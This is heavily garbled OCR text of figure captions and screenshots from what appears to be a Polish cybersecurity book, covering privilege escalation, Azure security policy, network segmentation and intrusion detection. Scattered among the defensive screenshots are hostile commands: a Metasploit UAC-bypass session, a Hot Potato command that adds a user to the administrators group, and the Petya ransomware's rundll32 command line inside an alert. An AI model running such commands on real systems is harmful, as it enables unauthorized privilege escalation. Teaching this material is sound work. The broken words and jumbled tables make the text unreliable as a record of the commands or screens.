7] @ o imm\ietaMiareinn ia

Compatibility Fixes: [ Parameters ] [ShowSeIected] | Clearall \
Name Command-line Module *
] Q RepairStringVersionResources
\:j (’ RestoreSystemCursors

< m

] »

Selected 0 of 365

Cancel

Rysunek 9.16. Wyhor poprawek
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, Compatibility Administr,
e

File Edit View Database Search Help

il New D Open H Save \ (3 Fix \i) AppHelp Mode =] Run /_‘Search /Ij

=& System Database (32-bit)
+1__) Applications
. {B Compatibility Fixes
+ (=) Compatibility Modes
' g Installed Databases
§ Custom Databases

Il WNew Database(1) (Untitled

=) Applications Create New »
8 abe Install
Paste Ctrl+V
Rename Ctrl+R
Close Ctrl+Z
Properties

More information about Compatibility Adm

Download the latest version of the Application C

This is an open working database. Foes can be created for this database

Rysunek 9.17. Podkiadka gotowa do uzycia

root@kali: ~

Temp\GZmHXtLg.dLl' ge

[!'] This exploit may require manual cleanup of 'C:\Windows\System32\sysprep\
TBASE.dl1l' on the target

msf exploit( exploit/windows/local/bypassuac

msf exploit( eS51i¢

Id Type Information Connecti
meterpreter x86
192.168.56.83: 626

win32 192.168.56.85]

f
!
75 (192.

exploit( ) set
sion => 1

Rysunek 9.18. Metasploit ma whudowane moduly do omijania kontroli UAC
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L Process Explorer - Sysinternals: www.sysinternals.com [CEQ-SP\Erdal]

File Options View Process Find Users Help

HEEDEEEF A D e o ]| [
Proceas cPU I .; FID Desoription

96

)
4

! nfa Hardware Interrupts and ©

. 628
oexploit - ; - 136, 2420
712
820

. 3 892
Eksploitacja TR PrAEasS o WiRdaw
UAC K 736 Host Process for Window:
1780

35,240 K
44,904 K
9,444 K
8712K
1,992 K
14,292 K

7.484 K 4068 Microsoft OneDriveFile C¢
6,428 K| 13808 COM Surrogate

10,564 K

16,156 K 14896 COM Surrogate

. dllhost.ex :‘ ' i 10,620 K 8852 Windows Defender Smart

2

CPU Usage: 41.56% Commit Charge: 71.64% Processes: 269 Physical Usage: 56.31%

Rysunek 9.19. Skrypt UAC w dziataniu

Uwaga .
K Podtacza sie
Nieautoryzowany proces > Legalny proces
. Uzyskuje dostep do pamieci
Nieautoryzowany proces Legalny proces

Kopiuje do pamieci
ztosliwa biblioteke DLL Legalny proces

A4

Nieautoryzowany proces

Wykonuje za pomoca
legalnego procesu

v

Legalny proces

Nieautoryzowany proces

Rysunek 9.20. Wstrzykniecie biblioteki DLL wptywa na legalne procesy
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Windows znajduje Windows nie dociera
najpierw ztosliwa do legalnego
biblioteke DLL pliku DLL

o
)

Rysunek 9.21. llustracja hakowania kolejnosci przeszukiwania bibliotek DLL

) (=

Uruchomiony Haker wstawia
program wysyta w $ciezke przeszukiwania
zadanie pliku DLL ztosliwy plik DLL

OS X znajduje Legalny dylib
najpierw nigdy nie zostaje
ztodliwy dylib odnaleziony

©

—— e
Uruchomiona aplikacja p— e
— —

wysytfa zadania
biblioteki dynamicznej

Haker wstawia w Sciezke
wyszukiwania ztosliwy
dylib z t3 samg nazwa
Rysunek 9.22. llustracja przejecia biblioteki dynamicznej, w ktérym atakujacy
umieszczaja zlosliwy dylib na sciezce wyszukiwania

Rysunek 9.23. Eksploity tworzone przez aktoréw zagrozen moga by¢ dostarczane
na wiele réznych sposobéw. Aktorzy zagrozen moga atakowac bezposrednio
takze podatne na ataki serwery, ktore uda im sie znalez¢
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SIS

installed a launch daemon or agent AS i, ATy

mv (Apple Code Signing Cert Auth)

process id: 479
process path: /bin/mv

script.sh (unsigned)
startup file: /Library/LaunchDaemons/com.startup.plist

startup binary: /var/root/script.sh

time: @8:34:28 remember Block Allow

Rysunek 9.25. Ztosliwy atak demona startowego zablokowany
przez narzedzie hezpieczenstwa (BlockBlock)

B odn3 32 PR

Install Zip
Successful

UPUALIN Pl LILIU UeLdLEs

Successfully decrypted with default
Updating partition details

= Full SELinUX support is present
i Load/Sup

s opters Pt '

[<cw> e G5 o 5. : ipping W5 check: no WDS file found

i s vt
10820173 o1 A o0 AT, B |

<OsM> EnterCs for S
0A2 Q301731 QEXS5916 REVOD user_bom_ship MATT CERT _tar S ‘

| <S> Plesce wai..
<OSM> Checkng VDS frished Sucess,
<G> Leave G5
| <S> Ener CS for DS,

o | [[orcsens oo i o o AT, o i |

0A2 (1301731 QB3655515_REVOD_user jou_sho MULTI CERT. tr mdS ‘

<ast> Enter s for DS
Unmounting

<OSM > Cheding MDS firished Sucessfully. Enary Sze. usLe Lol - Done
’ Updating partition details
P

<csM> Leave G

Rysunek 9.27. Rootowanie za pomocg Odina na podstawie
https://forum.xda-developers.com
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Oryginalna instrukcja

Zaczep

mov edi, edi

| jmp <funkcja

push ebp 5-bajtowe posredniczaca>
move ebp, esp wypetnienie
e do MessageBoxA | ---.

Funkcja posdredniczaca

Rysunek 9.28. Dziatanie zaczepow

Autorun Eny

F. g HELMASOFTWARE \Mi
¥ 7 MSC

i HKLM\SOFTWARE ol §

e
L HKCLS e
7 [) SFFATAAAGOYIETONIEDSFF 367DE7CED .

1ag 11 Sl AL

Descrpron Publzher Image Path

o e \Casendy s o \Run

Miciotoh Secusty Miciosch Comparsion ¢ \program bles\mucrosolt secuslly clent\misece: exe

430030 X3 0000t 3138 7057 col\ 34 74Ea25013 3o TO00RdSHF 16706 Tcell exnl

Rysunek 9.29. Sysinternals Autoruns moze poméc w identyfikacji ztosliwego
oprogramowania startowego

Rysunek 9.30. Mongoose moze podnosi¢ uprawnienia w systemie Linux
(jak pokazaliSmy na tym rysunku), a takze w systemie Windows
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X C:\Windows\system32\cmd.exe - Potato.exe -ip 10.0.0.3 -disable_exhaust true -cmd "C:\\Windows\... E@
Subnet Ma: ... P . . = 255.255.255.0
Default Gateway . . . . . . . . 2 180.8.8.1

Tunnel adapte 1 ap.{C4E?9149-94n1-4FPA1-NF99-8C3E1D?29Nn18> :

m

Media State . . . . . _ . . S connected
Connection—specific DN 1>

Tunnel adapter Local Area Connection= 9:

Media State . . - - . . 2 Media d
Connection=specific DN H

«top>Potato.exe —-ip 10.0.0.3 -disable aust true -—c
semd.exe /K net localgroup administrators egoldstein

cache. ..

http:/-127.0.8.1 -"U\;ldli -dat
Spoof ing wpad...

Rysunek 9.32. Hot Potato w dziataniu
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- a x
GQMM;WMMMM P - ¢| @odamvomainboicy x| ARee
Deloult Domain Molicy al
Dists collected on 10122017 40232 PM
Corwrad

by led
NT AUTHORITY\Asthenticated Users Read (bom Securly Fillenng) No
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS Read Ne
Edt seminga. delese. moddy secursy Mo

| Nosefings defned.
Dt Nemnin Contrmllecs Policy
Data collected on: 10122017 40270 PM
= —

Rysunek 10.3. Wynik wykonania polecenia Get-GPOReport
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it
|

3 0
Type:  REG_DWORD

DI Policy Viewer - 175 items - o x
i Clipboard = View - (= Export - Options -
Polcy Type Polcy Group or Regiatry Koy Policy Setting Local rghtry LocalPolcy_YDIOSDOT1_21 ~
HKLM Software\Policies\Microsolt\Windows \Safer'\Codeldentfiers AutherticodeEnabled 0 0
HKLM System"\Current Control Set\Control\Lsa Pude 0 0
HKLM | Syatem\CurentControlSet \Control\Lss CrashOnAudtFal 0 0
HKLM System\CusrentControl Set \Control\L sa Disable DomainCreds 0 0
HKLM System\CurrentC \Control\Lsa 0 0
HKLM \CurrertCorerolSet\Corerol\Lsa ForceGues: 1o 0
HKLM System\Current Control Set \Control\Lsa Full 100
HKLM Systemn\Currert ControlSet\Control\Lsa Lirt Blark P he 1 1
HKLM Systern\Cusrent Control Set\Control\Lsa UnCompatiitylevel 1 1
HKLM | System\Cusrent Control Set \Cortrol\Lsa NolMHash 1 1
HKLM System\Current Control Set \Control\Lsa RestrictAnommous 0 0
HKLM Swstem\CusrentControlSet\Control\Lsa Restrict usSAM 1 1
HKLM Sistem'\Cusrent Control Set\Control\Lsa\FIP'S AgoethmPokcy 0 0
HKLM System\Current Control Set\Control\Lsa\MSV1 0 536870912
HKLM Strstem\Current Control Set\Control\Lsa\MSV'1 0 536870912
HKLM System\CurrentCi Man Prit o
HILM \CusrertControlSet Servers\Wivea' BowedExactPaths
HKLM | System\Current Control et \Control\Secure Poe Servers \Winreq\AlowedPaths w
HKLM System\CusrentCi \Control\Session Manoger . 1
HKLM Svstem\Cusrent Control Set'\Cortrol\Session Manager\Kemel ObCasebsenstive ! 1 !1 J
hl'roliqv Path:
Secusty Seftings
Local Polcies\Securty Options
User Account Cortrol: Only levate executables that are signed and validated

GPO. Local registry
LocalPolicy_YDIOBDOT1_20171004-143003:

Option:  Disabled
Data: 0

Tpe:  AEG_DWORD
GPO: Local pobey

Rysunek 10.4. Zrzut ekranu z narzedzia Policy Viewer z zestawu narzedzi
Microsoft Security Compliance Toolkit
Home »
c Policy
B —
= [ Visual Studcs Uimate with MSDN A
o Getting started
B Compiance [ Rogc Agp. or any other
@ Remwdiation
£ Events
- Overal pliance O y complar @ @ npliant poicies (1
ng - ~

- 37% s 2a 435
- Toutal e W 12 Hon-complant eef2 ot 4l 207

Dafinitions
7) Exemptions
Related Services Hame Ty Scope *.  Compliance state. LN e M
B Blueprints ipreview) i Enable Monisaring in Azure Secusity Center Temas MG © Non-comphant 3‘.‘%2«4\ of 19) 12
s Resource Graph & AZSOOCustomInitiative isual o e ouel 3) 3
& User privacy # Deplay SOL DB WVisual © Compliant 200% (0 gut of 0) L]

Vigw all

ASSIGNMENTS BY COMPUANCE (LAST 7 DAYS)
"

Vs

Ve

v

Rysunek 10.5. Giéwne ustugi Azure Policy
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Azure

Azure AD (dzierzawca)

‘{.h Gtéwna grupa zarzadzajaca
— ﬂ Ameryka Pin. + - -.

’

Oddziat w Arkansas
Reguty bezpieczenstwa
moga by¢ przypisywane
do poszczegdlnych
Oddziat w Teksasie D R TG e
— ﬂ Europa + = ) A
Oddziat w Portugalii

Rysunek 10.6. Projektowanie grup zarzadzania i regut

B Zasady zabezpieczeri lokalnych - [m] X
Plik  Akcja Widok Pomoc

o= pnE = Hm

[y Ustawienia zabezpieczeri
» [ Zasady konta Warunki
» [[& Zasady lokalne
» [] Zapora Windows Defender z zabezpie|
[ Zasady menedzera listy sieci Zanim rozpoczniesz
» [] Zasady kluczy publicznych Uprawnienia Wybsierz typ warunku podstawowego, ktéry chcesz utworzyé.
> [7] Zasady ograniczeri oprogramowania
v [ Zasady sterowania aplikacjami o —
~ [T ApplLocker A ® Wydawca
> [ Reguly dia plikow wykonywalf ~ ""3tki
> [0 Reguly dia Instalatora Window MNazwa
> [ Reguly dla skryptéw

Wybierz te opcje, jeshi aplikacja, dla ktérej cheesz utworzy€ regute, jest podpisana
przed wydawce oprogramowania.

> HH Reguly spakowanych aplikacji O Sciezka
> &) Zasady zabezpieczesi IP w Komputer Utwérz regule dla konkretnej Sciezki pliku lub folderu. W przypadku wybrania
» [ Konfiguracja zaswansowanych zasad folderu reguta obejmie wszystkie znajdujace sie w nim pliki.
O skrét pliku

Wybierz te opcje, jesli chcesz utworzyc regule dla aplikacji, ktére nie jest podpisana.

Rysunek 10.7. Strona Warunki, ktéra pojawia sie podczas uruchamiania kreatora
Utworz Reguty dla plikéw wykonywalnych
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Microsoft Azure P Search resources, services, and docs (G+/)

Home > Microsoft Defender for Cloud > Adaptive application controls >

Configure application control rules
REVIEWGROUP4

Description
The steps below will guide you through the process of configuring application control rules that are unique to this specific group of mach

v Select machines

. VM/server T4 State TL  Severity

argos Open - New High

/ Recommended applications

The following applications are very frequent on the machines within this group and are highly recommended for defining allowed rules.

Name Ty File Types 11 Exploitable Ty

Vendor: O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON 2 Types

Vendor:. CN=MICROSOFT AZURE DEPENDENCY CODE SIGN 2 Types
Vendor: CN=MICROSOFT AZURE 3RD PARTY CODE SIGN 2 Types
Vendor: CN=MICROSOFT AZURE CODE SIGN 1Types

. Q@ Vendor: O=QUALYS, INC, L=REDWOQD SHORES, S=CALIFORNIA, C=US  1Types

Rysunek 10.8. Przyktad zasad sterowania aplikacji w programie
Microsoft Defender for Cloud
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contiiuwed]

[ Learn more

EXE application control policy violation was audited

Descript

Activity time

State

Attacked Resource
Subscription
Datected by

Emvironment

A\ General information

The below user ran executables that are violating the application control policy of your organization on this
machine. It can possibly expose the machine to malware or application vulnerabilities.

Sunday, March 3, 2019, :36:35 PM

& Medium

Active

contosoweb

Contoso IT - demo

Microsoft

Azure

& Virual Machine

©=GOOGLE INC, L=MOUNTAIN VIEW., S=CALIFORNIA. C=US\GOOGLE UPDATE\GOOGLEUPDATE EXE\1.3.33.05
NT AUTHORITY\SYSTEM

3

O=GOOGLE INC, L=MOUNTAIN VIEW, S=CALIFORNIA. C=US\"\"\0.0.0.0
%6PROGRAMFILES3%\GOOGLE\UPDATE\GOOGLEUPDATE EXE

CN=MICROSOFT AZURE DEPENDENCY CODE SIGN\""\0.0.0.0
%OSDRIVESS\WINDOWSAZURE\SECAGENT\WASECAGENTPROV.EXE

Rysunek 10.9. Alert wyzwalany dla aplikacji nieobjetej reguta

Adaptive Application Control

Showing § sibscriptions

[ seanen ccuntons ] =
Frneral

© owerview

@ Gerting stated

= Recommendations

O Securityaterts

& iveniony

8 wonbsoks

B Communay

* Diagrone and sabve problers.
Cloud Secury

0 Sewure Scoee

9 Regulstory complance

0 Workicad prosections

= Finewall Manager
Managerent

Il Emiconment setings

Bl securitysohuions

B Werkdion sutomation

Home > Micrasolt Defender for Claud

-] Microsoft Defender for Cloud | Regulatory compliance

L ownisadupon @ Minage ompiance otk S Openary [ Audnrspons ) Complance over i worsbock

o e

AZUPE MESUNCYDENIOMBNG VS ISUEANIE  PLIUSY 30 SULISE  PEARPIINUSE  NIDISPOUUDSNA (NP OUU I NS WIS LNP VAU MIUNELIS LU WP LI AW e

Under each appiicabile compliance contol i the set of aysessments. oud i 11 thary 2 al greens i means those assessmants are currently passing: B doas nat ansurn you aoe fully
Furthermaces, nat all controts foe aay part g tox i repost i

PCIDSS 321 is appie 103 subicriptions
[ expana ai compianee cosress

w 1. Install and maintain a firewall configuration te protect cardholder data
2. Do not use vendor-supplied defaults for system passwords and other security parameters
3. Protect stored cardholder data

5. Protect all systems against malware and regularly update anti-irus software or programs.

e
°
°
“ @ 4 Encrypt transmission of cardholder data acrass open, pubdic networks.
o
© 6. Develep ond maintain secure sysems and applications

-]

7. Restrict access to cardholder data by business need to know

A @ 7. Limit ana ooty such accass.

~ @ 7.1, Define access meeds for #ach rale. incuding:

aceess for theirjob function
- Level i . et for accessi

Customer rasponaibilty

A maimum of 3 owners should be designated for subseriptions T Subscriptons 3af3 —_—

There should be mare than ore owner assigned b subscriptions P sasciiptons 0af3

Rysunek 10.10. Przykiad dashboardu Defender for Cloud Regulatory Compliance
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Home 5 Microsoft Defender far Cloud

Vulnerabilities in security configuration on your Windows machines should be remediated (powered by Guest Configuration)

(@) Esempn (& View policy defintion W Open query -

Seveity Freshness interval Tactis and technigues
Ian @ 24 Hours N\, Credential Access (+5,
A Deseriglion

. Relsted recommendations (2)

Recommendation T4

Bependancy type T Affected resources Tu
95 Guest Configuration extensian shoukd be insalled on machines Prevequisie 480150
= Guest Configy th system-assigned managed icentity Prerequitse Tofas
- Remedistion steps
v Affected resources
. Sacurity chacks
Findings
0 Search o fiheriterrs.
Rule Security chack Palicy categary Applies ta
4925004 B2 dode-biia-GASALLBATIL By hog on s & baich job Uk Bights Assignment 5.0 15 sesounces
TR AT HIEAL 1A ATk SECUIIY, MVePen #4400 SECUTY Tof Y1 L 531 B3SEA INCUOING SECUre L) Servess MUY PR - NN SCUNTY i
ITITAR-2018-4550-335c- STTTATIGE VA Feohibit imstallation and cofiquration of Networlk Ssidge an your DAS domain netuork Administrative Templates - Network 150 15 sesounces
1a188108-3375-4c5a 2236+ laT24bccHl equine secure RPC comeunication Windows Companents 5 0f 15 sesounces
Trigger ogic app Examat

Rysunek 10.11. Monitorowanie reguty bezpieczenstwa

Network security: Minimum session securit...

~ Description

Network security: Minimum session security for NTLM SSP based (including secure
RPC) servers

~ Impact

NTLM connections will fail if NTLMv2 protocol and strong encryption (128-bit) are not
**both** negotiated. Server applications that are enforcing these settings will be
unable to communicate with older servers that do not support them. This setting
could impact Windows Clustering when applied to servers running Windows Server
2003, see Microsoft Knowledge Base articles 891597: [How to apply more restrictive
security settings on a Windows Server 2003-based cluster server]
(https://support.microsoft.com/en-us/kb/891597) and 890761: [You receive an “Error
0x8007042b" error message when you add or join a node to a cluster if you use NTLM
version 2 in Windows Server 2003](https://support.microsoft.com/en-us/kb/890767)

for more information on possible issues and how to resolve them.

~  General information

Rule Id 6ed9ad58-c9de-4a8b-9512-8fe5421ac8a7

Name Network security: Minimum session security for
NTLM SSP based (including secure RPC) servers

Category Security Options - Network Security

Scan time 1/28/2022 8:05;12 PM (UTQ)

A~ Vulnerability

You can enable all of the options for this policy setting to help protect netwark traffic
that uses the NTLM Security Support Provider (NTLM SSP) from being exposed or
tampered with by an attacket who has gained access to the same network. That is,

these options help protect against man-in-the-middle attacks.

Rysunek 10.12. Reguta sieciowa
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Horme » Microsoft Defendes for Cloud - Settingt.
g Settings | Workflow automation

Add workflow automation

General
Addworkflow mitomation O Rebesn | (D Enabie ) Coabe B Detete (D Lesmmane &) Gusdes & Feedhack Hame®
(
T Do i, [Pty e F e bl 5 T Searhyal. et
B A prviicnng
Hame Ty Status Ty Sepe T4 Tiigps Type N
B Email otificaions.
r— O 5 sconoe =1 Vessal Shock Litimate with MSOH W securiy alert
= 3 O £5 sywasan 0 Grusied Lo =
- —
Resirarce group &
Policy seitings Comtonl -
B Securitypobcy
Trigger conditions. 0
:
Dwbencier bor Cioed data type *
[ egusatony compiance warduds =]
Compliance itandnd *
[Poosan >]
ompance tontrol 1tate *
[rated =
Actions.
e g App ot b vt
$how Logic App instances from the foliowing sebucriptions *
[ Bt -
Logic Ape name (0
T -
e
Rysunek 10.13. Automatyzacja przeptywu pracy
Overall Secure Score
o 5 1 /0 (~29 of 58 points)
View recommendations >
Rysunek 10.14. Przyktad wyniku Secure Score
Al
Secure score Resource health Completed controls Completed recommendations
51% ¥ Securs 51%(20 points) | Not secre 49% (28 paints) 1 Uniealiny (541) 1 Healthy (326) | Not applicable 132) =) s = 37/04
- o
Foe i fis ina-cantrel 1o got points,  Leam more >
| P Search rcemmendations ‘Control staus : All ity ; Al Severity | All Resource type | AN $art by max score hd
il i Al AN Tactics:all asat fiers
Controks Max scon Cumrent Score: ¥ hetians
> EnableMFA 0 EEEN L1 [ + 12% (6,67 points) 2of 5 resources. —
3 Securemanagement ports [ 735 00 + 1% (0162 points) 5 0f 183 resources ==
» Remediate vulnarabilities & + 9% (5.14 points) 132 of 175 redources. —
> Applysystem updates & * 2% (142 points) 30 of 174 resources. - ——
> Manage access and permissions + + 6% (35points) 1 0f 1280 resources | —
3 Easbleencgption at rest N + §% (305 points} o
> Ramediabe security configurations. 4 + 4% (223 points) 93 of 386 resources I ——
> Encryptdatain transit 4 * 3% (1.5 points] araf
» 4 + 2% (1,11 pcints) 48 of W55 resounes

Rysunek 10.15. Zalecenia bezpieczenstwa dla réznych ohcigzen roboczych
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O Current score trends per subscription not affected by the time range parameter)

Subsciptionname 7. Cumentscore® TL Tdaychange T M0-dapchange Tu

Cylanbin 300 i3 A% A0

 Selected fler for subseription: AY

Rysunek 10.17. Bezpieczny skoroszyt Score Over Time

0 Agpregated scare for selected subseripions over time

¥ 5 5 ¥ 8 ¥ 8 3 B

>

l& R

@ Selected Biter for time range: <t

uny




Rozdziat 11. Bezpieczenstwo sieciowe

Infrastruktura i ustugi
[

Infrastruktura lokalna

iPhone Smartfon
z Androidem

A

: |

|

I |

Przesytane dokumenty : @ @ & |
|

: |

| |

| |

Punkty koricowe

(Vg A e R P A .

Rysunek 11.1. Przyktadowa implementacja obrony w giab
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,_63_, =¥

=

Smartfon
z Androidem

Firewall

L]
L]

Infrastruktura lokalna

=%

Rysunek 11.3. Lokalnie zaszyfrowany dokument podrézujacy do urzadzenia mobilnego
za posrednictwem chmury
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VLAN: budynek zachodni

VLAN: budynek wschodni
192.168.1.0/24

192.168.2.0/24

VLAN: HR
192.168.12.0/24

3

VLAN: Projekt A
192.168.14.0/24

VLAN: kluczowe serwery
192.168.10.0/24

VLAN: budynek centralny
192.168.3.0/24

Rysunek 11.4. Mieszane podejscie do segmentacji sieci na podstawie VLAN-6w

Getting started with Network Topology Mapper

solarwmdﬁ

Croale Now Scan

‘Open Sample Scan®
L Servie Pox Map
Lo Sapie Compary M

‘Opeon Rocent:

£ Openi e

‘What you can do with Network Topology Mappor:
= Atormatc dacovery of refwok tpoiogy

Learn More:

» Ordrm marud
» Network, Topology Magper Commurty
» Narwmrt Topoiery Magpes Kocwiedon (e

I
l|

|||I:”iu

Rysunek 11.5. Kreator mapowania topologii sieci
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Network Selection

Where are the nodes that you want to discover? Define the section of your network to be scanned below.

o You can combine subnets, IP ranges and free-form IPs in your Network Discovery.
SNMP Credentials ﬂ—s oet]
. ubnets || 1P Ranges | Freefc IPs | Do-Not-Scan List
WMI Credentials i sl 22 |
VMWare Credentials
A Subnet Subnet Mask | AddaNew subnet |
Network Selection
Discovery Settings
Scheduling
Summary
| Remove Selected
* Learn more about Subnets
To include IPv6 addresses in the dicovery, add them in the Freeform IPs tab.
lecti v:

Subnets: No selection

IP Rangas: No salaction

Freeform IP Entries:  No selection

Do-Not-5¢can List No selection

< Back | I Next > J Cancel
Rysunek 11.6. Okreslenie podsieci do skanowania
e e e A Ty e e N

i -

& &

e .
I
A e s - L

= = :

e AAC A
| D
| —— | gy |
s &
—
=
C [~
-n
1 e
g B b e et
L LA ]
L L LF ]
.
e e S T G A L e T e e B PSRy

Rysunek 11.7. Mapa sieci
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Zdalny uzytkownik (regutfa A)

Zdalny uzytkownik (reguta B) Q
.i

\ .

NAC

-
-

= L[

Rysunek 11.8. System kontroli dostepu do sieci

Infrastruktura lokalna
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zdani #~
uzytkownicy '\
~

VLAN zdalnych
uzytkownikéw

VLAN cennych Okreslone reguty
zasobow oddziatu wschodniego

Firewall h
VLAN dziatu HR m

Okreslone reguty
oddziatu zachodniego

=)

VLAN dziatu
finansowego

Rysunek 11.9. Przykiad tacznosci VPN i jej wptyw na segmentacje sieci

Serwer
z hipernadzorca

Zewnetrzna Wewnetrzna
192.168.1.1/24 10.1.1.0/24

Rysunek 11.10. Wizualizacja sieci fizycznych i wirtualnych w systemie

Oddziat wschodni

Oddziat zachodni

Fizyczny
przetacznik
sieciowy

Fizyczna
karta sieciowa

Wirtualna

karta sieciowa

Sie¢ wirtualna
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# Virtual Switches iy Virtual Switch Extensions
ﬂ New virtual network switch

@ ',' DMZ Switch extensions:
Internal only Name Type

] ;’. External [[] Microsoft NDIS Capture Monitoring
Broadcom NetXtreme 57xx Gigabit..... [% Microsoft Winc Filtering Platform Filter

=2 -!' Internal
Internal enly

Rysunek 11.11. Przykifad menedzera przetacznikéw wirtualnych w Hyper-v

Atrybuty zaufania

Dostawca tozsamosci

D Reguty warunkowe Proxy Zasoby
. Katalog urzadzen
Rysunek 11.12. Architektura sieci zerowego zaufania
—— (o i BB ot s | o e i Al — A G atea A oy
[Comtm ] Mg w3y A Comars o b [e—_— B
L e e B el Pt e e R — -
et St 0 ~ jnnanamn TN B p—

et g L B e L D Ty
gt T o il i S e o d L L e S et
B gt gt of $5) st e Sl b ot N el ot g it s

et e et et . ST R e——

et g o e s i b e S S bk o o Py

A et — o . [ EPee—

- — B ot ma. P——
e o et g s e i b A Y s i EE— )
Tt et i b et by i © nan. —
et s St b St I - —
Ml et £ St L St e Pt YT —

L — st -

DDDDEPDR

ot - ——— —— -

Rysunek 11.13. Zalecenia dotyczace sieci w programie Defender for Cloud
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Home > Microsoft Defender for Cloud

Internet-facing virtual machines should be protected with network security groups

@ exempt @ View policy definiticn S Open query

Severty Frethness nterval Exempted rezources Tactics and techniques

High 24 Hours 7 2 Lateral Movement +8
l @ View all exermptions EE

~ Deseription

Protect your VM from potertal thrests by restrctng aicets £ A with & netwerk secunty group (NSG). NSG1 contam a lint of Accens Contral Lint (AC1) rulet that sliow or Seny n
nLandel N o Cutisde the Lame tubnet

To keep your machene o1 secure a1 poasible. the VM acces 1D the internet must be restrcied and an NSG thould be enabled on the subnel
VM3 wet Hgh' seveny dre mternet-facng Vil

~  Remediation steps
~ Affected resources

Unhealthy resources (1) Healthy resources (12)  Not applicable resources (85)

[0 search virtal machines

[ ind !

*L  Subsciption
O @ soctw

CyoursecsOC

Rysunek 11.14. Zalecenie dotyczace zwiekszania bezpieczenstwa maszyn,
ktore sa podtaczone do internetu
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Network Map

g b g L ks e WM

- E=T— e
=) )
(=] X

~

>

©° ucy

1

%
Rysunek 11.15. Funkcjonalno$é Network Map w programie Defender for Cloud
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g KLVM3

© High

SECURITY HEALTH

A Information

SUBSCRIPTION
NAME

RESOURCE GROUP
VIRTUAL MACHINE
OPERATION SYSTEM

NETWORK SECURITY
GROUP

SECURITY
CONFIGURATION

SYSTEM UPDATES

Visual Studio Ultimate with MSDN

ContosoCST
KLVM3
Linux

KLVM3-nsg

Microsoft (Last scan time - Not applicable)

Microsoft (Last scan time - Not applicable)

~ Recommendation list

DESCRIPTION

SEVERITY

Just-In-Time network access control should be ] High

applied on virtual machines

>

Info

**
Allowed
Traffic

Rysunek 11.16. Po wybraniu Network Map mozesz zobaczy¢ wiecej szczegotow
na temat maszyny wirtualnej z dostepem do internetu.
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Hetwork Security Grougp rubes for ierret Lacing virtusl machines should be hardened

- R g 8 e it i e

- ety
T e T T
A Ol e '

I #rm e v ety — ) p—

. e

- - = T
4t e r—————

+ M R e’ B P B Y el The B A

- S A T B
bt B P et 0 ey g oy i e il 0 d 04 s

T i’ T T e

= Attt semnaa
ety T 3 [ ]

Rysunek 11.17. Reguty grup zabhezpieczen sieci dla maszyn wirtualnych z dostepem
do internetu

Manage Adaptive Network Hardening recommendations

kali-test

o= Add rule

Recommended rules Total alerts New alerts

18 59 O

Rules  Alerts

I 1O Search rules
[v] Tvee NAME DESTINATION PORT ALLOWED SOURCES IP RANGES PROTOCOL
v l System Generated 22 None TCP

Rysunek 11.18. Zarzadzanie zaleceniami adaptacyjnego zahezpieczania sieci
w programie Defender for Cloud
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Rysunek 11.19. Zrzut ekranu skoroszytu sieciowego w programie Defender for Cloud



Rozdziat 12. Aktywne czujniki

Analityka Profilowanie
behawioralna

Wykrywanie

Ulezenie anomalii

maszynowe

Ewaluacja
aktywnosci

Korelacja danych

Istotne alerty

Rysunek 12.1. Narzedzia do korelacji danych w celu generowania istotnych alertow
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DETECTION TIME

SEVERITY

STATE

ATTACKED RESOURCE

SUBSCRIPTION

DETECTED BY

ACTION TAKEN

ENVIRONMENT

RESOURCETYPE

SUSPICIOUS PROCESS

SUSPICIOUS COMMAND LINE

O High

Active

ll Microsoft
Detected
Il Azure

n Virtual Machine

e

“emd /e rundll32 e\ProgramData\perfe.dat #1 30v"

Rysunek 12.2. Defender for Cloud wykrywa oprogramowanie ransomware Petya

I¥ 10Ce 220 - CATemphioc

i generuje alert

File Search Took Help
Name Created Updated Name: [DUQU (METHODOLOGY) | wype  Reforence
DUQU (METHODOLOGY) 2011-10-21 16:1331Z 20120105
FIND WINDOWS 0010101000000 2011-1028]| e [BANDIANT [J coven | Hohasegy
Zeus 00010101 00-00.00Z 20111028 (|  GUID: [72665174-dd77-4ade-02ed-53a56704£36¢ |
Created: [2011-10-21 16:13:212 ]
Modied: (2012-01-05 02:45:14Z |
Description:
Indicator for the dugu trojan. The mmmummmmmummammmw -~
|services exe). The injectied dil contains another will inject into other processes as
hmﬁmﬂvbﬂ- ilﬁkl mmwauwwaw&z
v
Add: AND OR Mem = | =
E-0R ~
& AND
|- File Cervificate Subject C-Media E P
L-File Name comtains cmidd3Z.sys
5 AID
|- DEiver Device Name is Gpdl
&-or
-Driver Device Name is (3093AAZ3-1092-2929-9391)
-Driver Device Name is (6€24409B3-4CEF-41C0-9B81-763427SA41ES)
5 AND
|-Registry Path contains HKEY_LOCAL MACHINE\SCFTWARE Windows L8
(=R
-Registry Value Name iz CFID
“~Regiscry Value Name is CFID
5 AND
|-EventLeg wype is Errer
|- EventLeg scurce is DCOM
L EventLog ID is 3221235481 .
< I >
< —— >

Rysunek 12.3. loC Editor wyswietla loC trojana Duqu
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ThreatFox |IOC Database

“fou are viewing the ThreatFox database entry for sha256_hash €9¢31dff154204350d5¢16ff462131a341949e5502042353d127817164c<1047.

Database Entry

10CID: 447520

1oc: D c9c31dff154204350d5¢16ff462131a341949e5502042353df27817164¢< 1047
10C Type o: sha256_hash

Threat Typed: payload

Malware: [ 4 Emotet |

Malware alias: Geado, Heodo

Confidence Level O: 2 Confidence level is elevated (75%)
First seen: 2022-03-24 20:1533 UTC

Last seen: never

uuID: 28b15303-abaf-11ec-8¢l d-42010224000a
Reporter O @Cryptolaemus1

Reward © 10 credits from_F_i_n_d_M_e

Togs: [epochs] exe

Rysunek 12.4. Wyszukiwanie wskaznika loC ztosliwego oprogramowania Emotet

Dashboard
zarzadzania IDS-em

- Analiza statystyczna
- Analiza odbiegajacych

I Analiza
od normy aktywnosci

aktywnosci i luk

+ Analiza wzorcéw w zabezpieczeniach
serwerow

Monitorowanie i analiza
aktywnosci uzytkownikéw

$
s

Rysunek 12.5. Typowe funkcjonalnosci IDS-u
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IDS

IDS

Przefacznik sieciowy % =8

VLAN klienta -10.2.2.0/24

Przetacznik

VLAN serwera -10.1.1.0/24 sieciowy

Router
internetowy

Przetacznik sieciowy

L I xw
o R
EEENEE sk e OW
IDS =
VLAN DMZ-u -10.10.10.0/24
IDS
_—

f
)

Rysunek 12.6. Przyktady rozmieszczenia IDS-6w

- Relacje miedzy ~

~
- A i
e . uzytkownikiem >
i \ a komputerami, T
. o . N
~
N
f \

serwerami i zasobami

UEBA

